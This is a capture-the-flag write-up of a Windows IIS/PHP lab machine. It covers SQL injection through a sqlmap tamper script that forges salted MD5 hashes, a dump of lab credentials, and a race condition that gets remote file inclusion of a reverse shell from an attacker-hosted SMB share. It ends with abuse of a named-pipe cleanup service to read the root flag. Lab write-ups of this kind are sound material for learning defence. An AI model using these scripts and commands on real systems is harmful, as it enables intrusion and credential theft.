Nmap scan report for
Host is up (0.033s latency).
Not shown: 999 filtered ports
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: OS Tidy Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 19 10:18:35 2021 -- 1 IP address (1 host up) scanned in 13.99 seconds

Only port 80 open

Inspect source code

   <script type="text/javascript">
        'use strict';
        jQuery('#headerwrap').backstretch([ "assets/img/bg/bg1.jpg", "assets/img/bg/bg3.jpg" ], {duration: 8000, fade: 500});
        $( "#product-content" ).load("/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b",function() {});

Messing with the parameters in the requests give us 500 and the salt

GET //products-ajax.php?order=id+desc HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=mqe225g03lo86i8vj6ja8f79bn
Upgrade-Insecure-Requests: 1

HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Mon, 22 Mar 2021 11:45:00 GMT
Connection: close
Content-Length: 641

<!-- [8] Undefined index: h

On line 6 in file C:\inetpub\wwwroot\products-ajax.php

  1 |   // SECURE_PARAM_SALT needs to be defined prior including functions.php 
  2 |   define('SECURE_PARAM_SALT','hie0shah6ooNoim'); 
  3 |   include('functions.php'); 
  4 |   include('db-config.php'); 
  5 |   if ( !$_GET['order'] || !$_GET['h'] ) {                <<<<< Error encountered in this line.
  6 |     // Set the response code to 500 
  7 |     http_response_code(500); 
  8 |     // and die(). Someone fiddled with the parameters. 
  9 |     die('Parameter missing or malformed.'); 
 10 |   } 
 11 |  
// -->
Parameter missing or malformed.

SQL Injection

We cannot run sqlmap properly as the md5 hash is based on the salt and the order input. But we can make a tamper script with sqlmap which will tamper our sqlinjections:


import hashlib 


def retmd(order):
    return hashlib.md5('hie0shah6ooNoim'.encode('utf-8') + order.encode('utf-8')).hexdigest()

def tamper(payload, **kwargs):
    params = '/licenses/licenses.php?theme=%s' % payload  
    final =  params + '&h=' + retmd(payload)
    return final

Eventually, we will leak the creds from the credits with running sqlmap -u "*" --skip-urlencode --batch --tamper=md5tamper.py --level=3 --risk=3 --db

0571749e2ac330a7455809c6b0e7af90 (sunshine)  
061fba5bdfc076bb7362616668de87c8 (lovely)  
0acf4539a14b3aa27deeb4cbdf6e989f (michael)  
2345f10bb948c5665ef91f6773b3e455 (michelle)  
25d55ad283aa400af464c76d713c07ad (12345678)  
25f9e794323b453885f5181f1b624d0b (123456789)  
5f4dcc3b5aa765d61d8327deb882cf99 (password)  
670b14728ad9902aecba32e22fa4f6bd (000000)  
67881381dbc68d4761230131ae0008f7 (babygirl)  
6cb75f652a9b52798eb6cf2201057c73 (password2)  
7c6a180b36896a0a8c02787eeafb0e4c (password1)  
827ccb0eea8a706c4c34a16891f84e7b (12345)  
8afa847f50a716e64932d995c8e7435a (princess)  
96e79218965eb72c92a549dd5a330112 (111111)  
aa47f8215c6f30a0dcdb2a36a9f4168e (daniel)  
aae039d6aa239cfc121357a825210fa3 (jessica)  
adff44c5102fca279fce7559abf66fee (ashley)  
c33367701511b4f6020ec61ded352059 (654321)  
c378985d629e99a4e86213db0cd5e70d (chocolate)  
d0763edaa9d9bd2a9516280e9044d885 (monkey)  
d8578edf8458ce06fbc5bb76a58c5ca4 (qwerty)  
e10adc3949ba59abbe56e057f20f883e (123456)  
e99a18c428cb38d5f260853678922e03 (abc123)  
edbd0effac3fcc98e725920a512881e0 (iloveu)  
f25a2fc72690b780b2a14e140ef6a9e0 (iloveyou)  
f78f2477e949bee2d12a2c540fb6084f (tigger)  
f806fc5a2a0d5ba2471600758452799c (rockyou)  
fc63f87c08d505264caba37514cd0cfd (nicole)  
fcea920f7412b5da7be0cf42b8c93759 (1234567)+------------------------------+                                                                                                                                                                
| aalekseicikm@skyrock.moc     |
| aaustinf@booking.moc         |
| acallabyk@un.gro             |
| afeldmesserg@ameblo.pj       |
| ahuntarh@seattletimes.moc    |
| bklewerq@yelp.moc            |
| bmceachern7@discovery.moc    |
| bpfeffelt@artisteer.moc      |
| daeryl@about.you             |
| gdornina@marriott.moc        |
| ishayj@dmoz.gro              |
| itootellb@forbes.moc         |
| jblinded@bing.moc            |
| jkleiser8@google.com.xy      |
| kmanghamc@state.tx.su        |
| krussenw@mit.ude             |
| lbyshp@wired.moc             |
| lginmann@lycos.moc           |
| lgiorioo@ow.lic              |
| lgrimsdellu@abc.net.uvw      |
| llenchenkoe@macromedia.moc   |
| lodorans@kickstarter.moc     |
| lpealingv@goo.goo            |
| mchasemore9@sitemeter.moc    |
| meastmondx@businessweek.moc  |
| nstone@trashbin.mail         |
| talelsandrovichi@tamu.ude    |
| vikki.solomon@throwaway.mail |
| wstrettellr@senate.gov

The creds krussenw@mit.ude:sunshine grants us access to licenses.

Once logged in, we see a familiar URL

The theme parameter is vulnrable to remote file inclusion.

However, strpos scans the included file header.inc for <?.

<!-- [2] file_get_contents(\\\share\header.inc/header.inc): failed to open stream: No such file or directory

On line 35 in file C:\inetpub\wwwroot\functions.php

 30 |  
 31 | // Following function securely includes a file. Whenever we 
 32 | // will encounter a PHP tag we will just bail out here. 
 33 | function secure_include($file) { 
 34 |   if (strpos(file_get_contents($file),'<?') === false) {                <<<<< Error encountered in this line.
 35 |     include($file); 
 36 |   } else { 
 37 |     http_response_code(403); 
 38 |     die('Forbidden - Tampering attempt detected.'); 
 39 |   } 
 40 | } 
// -->

This is however vulnerable to a race condition. First we script the request


import hashlib 
import requests
import sys

cookie = {"PHPSESSID" : "mqe225g03lo86i8vj6ja8f79bn"}

def retmd(order):
    return hashlib.md5('hie0shah6ooNoim'.encode('utf-8') + order.encode('utf-8')).hexdigest()

r = requests.get("" + path + "&h=" + retmd(path), cookies=cookie)

We begin with setting up our share

sudo impacket-smbserver share `pwd` -smb2support -username web -password charlotte123!

And then loop copying our reverse shell into header.inc

while :;do echo asdaasd > header.inc; sleep 0.1;cp header2.inc header.inc; sleep 0.1;done

Finally we loop the execution of the request

while :;  do python rfi.py \\\\\\share ; done 


We land as the user web which gives us the user flag.

in C:\Program Files\Cleanup we can find server.exe and client.exe.

# Cleanup

We find the garbage on your system and delete it!

## Changelog

- 31.10.2020 - Alpha Release

## Todo

- Create an awesome GUI
- Check additional paths 

Running server.exe in a windows environment shows that it cleans up the current working directory, checking for files that are older than 30 days, encrypts them, and stores the enrypted file in C:\ProgramData\Cleanup. The name of the file is the base64 encoded string of the fullpath of the “cleaned” file.

Looking at client.exe in Ghidra reveals that it accepts to different arguments, CLEAN or -R.

If you run client.exe -R <path> the server will attempt to restore the C:\ProgramData\Cleanup\<base64 encoded string of the fullpath>.

The client and server are communicating over a named pipe, \\\\.\\pipe\\cleanupPipe.

We can communicate directly with the pipe using Powershell.

To get the root flag, we need to:

  • tell the server to encrypt it,
  • get the contents of the encrypted fla
  • create a base64 encoded file located in C:\ProgramData\CleanUp which will be the base64 encoded path for the file which we want to restore/decrypt.
  • Echo the contents of the encrypted root flag to the base64 encoded file located in C:\ProgramData\CleanUp.

The below powershell script will tell server.exe to encrypt the flag.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream("cleanupPipe"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.Write("CLEAN C:\\Users\\Administrator\\Desktop\\root.txtz"); $sw.Dispose(); $pipe.Dispose();

Afterwards we can take the contents of the encrypted flag and decrypt it locally by creating a base64 encoded file which we will be stored in C:\ProgramData\Cleanup and contain the contents of the encrypted root.txt. The base64 file must be of a file which we can tell server.exe to decrypt. Once all of the above is done, we run client.exe -R <path> and get the root flag decrypted.